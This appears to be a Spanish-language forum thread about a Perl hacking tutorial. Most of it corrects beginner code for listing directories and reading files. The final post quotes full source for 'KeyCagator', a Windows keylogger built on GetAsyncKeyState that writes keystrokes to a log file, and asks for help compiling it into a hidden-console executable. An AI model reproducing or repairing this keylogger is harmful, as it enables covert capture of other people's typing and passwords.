Y definitivamente me quedo con strawberry, gracias The-Xcell, y ya que te pasas por aca que tal si nos regalas algun tuto ojala escrito por ti de Perl.... o por lo menos que tu recomiendes... que no sea este que ya estoy con el xD....

Hey Doddy bro agrego el link del PDF aqui que habia preparado para mi porque me lo han pedido en varias ocasiones por MP, asi que mejor lo agrego aqui para el que desee lo descargue sin problems y se ahorra la molestia de tener que escribirme por MP 


Un saludo!

Para aquellos que se encuentren en la parte de "0x19 : Listar directorios y manejo de archivos" y usen windows 7


cambien la siguiente linea:

opendir DIR,"/";
por

opendir DIR,"/users/NOMBRE_DE_TU_USUARIO/Desktop";
y listara los archivos.

acá el código del ejemplo quedaría así:

#!/usr/bin/perl -w
opendir DIR,"/users/NOMBRE_DE_TU_USUARIO/Desktop";
my @archivos = readdir DIR;
close DIR;
for my $files(@archivos) {
if (-f $files) { #Verificamos que sea un archivo
print "[Files] : $files\n";
}

if (-d $files) { #Verificamos que sea un directorio
print "[DIR] : $files\n";
}
}
Edito para evitar doble post:


En la parte del tutorial donde se explica el codigo para leer un block de notas.


open (LEER,"yo.txt)";

el sistema lanza un error de sintaxis, ¿por que?

el error esta en que se cerro la comilla doble detras del parentesis.

open (LEER,"yo.txt");

luego esta esta linea:

close FILE;

se supone que la variable creada en el open es "LEER" y no "FILE".

close LEER;

por ultimo el codigo final del ejemplo seria:

#!/usr/bin/perl -w
chdir("c:/Users/NOMBRE_DE_TU_USUARIO/Desktop");
open (LEER,"yo.txt");
@text = <LEER>;
close LEER;
for my $word(@text) {
print $word;
}



Saludos.

Hola, mira tengo un problema en la parte del keylogger cuando lo compilo me funciona bien, ahora el problema viene cuando lo quiero pasar a exe con perl2exe, el codigo es este.



#!usr/bin/perl
#KeyCagator (C) Doddy Hackman 2010


use Win32::API;


my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I");
 

while (true) {
print "cerra la consola con perl2exe -gui\n";
for my $num(0x30..0x39) {
if (dame($num)) {
savefile("logs.txt",chr($num));
}
}

for my $num(0x41..0x5A) {
if (dame($num)) {
savefile("logs.txt",chr($num));
}
}


}
 
sub dame {
return($come->Call(@_) & 1);
}

sub savefile {
open (SAVE,">>".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}



#Mail : lepuke[at]hotmail[com]
#Blog : doddy-hackman.blogspot.com
# ¿ The End ?


me tira error en esta linea:


use Win32::API;




y en el ejecutable: